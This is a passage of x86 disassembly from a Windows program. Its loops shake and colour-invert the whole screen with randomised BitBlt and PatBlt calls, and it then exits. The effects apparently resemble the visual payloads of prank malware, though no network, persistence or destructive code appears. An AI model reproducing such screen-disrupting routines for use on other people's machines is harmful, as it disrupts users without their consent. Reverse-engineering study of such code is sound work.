call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push 0xcc0020
call edi
cdq
mov ecx, 5
idiv ecx
push edx
call edi
cdq
mov ecx, 5
idiv ecx
push edx
push esi
push dword [ebp - 0x464]
push dword [ebp - 0x46c]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0xcc0020
push 0
push 0
push esi
push dword [ebp - 0x464]
push dword [ebp - 0x46c]
call edi
cdq
mov ecx, 5
idiv ecx
push edx
call edi
cdq
mov ecx, 5
idiv ecx
push edx
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x4022a0
mov dword [ebp - 0x45c], 0x46
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0x47c]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x478]
mov dword [ebp - 0x460], eax
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx esi, dl
shl esi, 8
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx edi, dl
or edi, esi
shl edi, 8
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
movzx eax, dl
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, dword [ebp - 0x480]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push dword [ebp - 0x460]
push dword [ebp - 0x468]
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
push esi
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push 0xcc0020
call edi
cdq
mov ecx, 5
idiv ecx
push edx
call edi
cdq
mov ecx, 5
idiv ecx
push edx
push esi
call edi
cdq
idiv dword [ebp - 0x464]
push edx
call edi
cdq
idiv dword [ebp - 0x46c]
push edx
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0xcc0020
push 0
push 0
push esi
call edi
cdq
idiv dword [ebp - 0x464]
push edx
call edi
cdq
idiv dword [ebp - 0x46c]
push edx
call edi
cdq
mov ecx, 5
idiv ecx
push edx
call edi
cdq
mov ecx, 5
idiv ecx
push edx
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x4023e2
mov dword [ebp - 0x45c], 0xc8
nop dword [eax]
mov esi, dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x490]
push eax
push section..text
push 0
xorps xmm0, xmm0
push 0
movups xmmword [ebp - 0x490], xmm0
call esi
lea eax, [ebp - 0x47c]
xorps xmm0, xmm0
push eax
push section..text
push 0
push 0
movups xmmword [ebp - 0x47c], xmm0
call esi
mov eax, dword [ebp - 0x474]
sub eax, dword [ebp - 0x47c]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x478]
mov dword [ebp - 0x460], eax
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx esi, dl
shl esi, 8
call edi
cdq
mov ecx, 0xff
idiv ecx
movzx edi, dl
or edi, esi
shl edi, 8
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
movzx eax, dl
or eax, edi
push eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, dword [ebp - 0x480]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x5a0049
push dword [ebp - 0x460]
push dword [ebp - 0x468]
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
push esi
call dword [sym.imp.GDI32.dll_PatBlt]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call esi
push 0
mov edi, eax
call esi
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
mov dword [ebp - 0x468], eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0xcc0020
push 0
push 0
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x480]
push eax
push edi
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push esi
call edi
cdq
mov ecx, 0x14
idiv ecx
sub edx, 0xa
push edx
call edi
cdq
mov ecx, 0xa
idiv ecx
mov esi, dword [ebp - 0x480]
sub edx, 0x14
push edx
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0xcc0020
push 0
push 0
push esi
push dword [ebp - 0x460]
push dword [ebp - 0x468]
call edi
cdq
mov ecx, 0x14
idiv ecx
sub edx, 0xa
push edx
call edi
cdq
mov ecx, 0xa
idiv ecx
sub edx, 0x14
push edx
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp - 0x45c], 1
jne 0x402550
mov eax, dword [ebp - 0x42c]
cmp eax, 8
jb 0x402719
mov edx, dword [ebp - 0x440]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40270f
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40274b
push ecx
push edx
call fcn.00402f58
add esp, 8
mov edx, dword [ebp - 0x444]
cmp edx, 8
jb 0x40275b
mov ecx, dword [ebp - 0x458]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402751
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402751
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00402f58
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402f1a
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]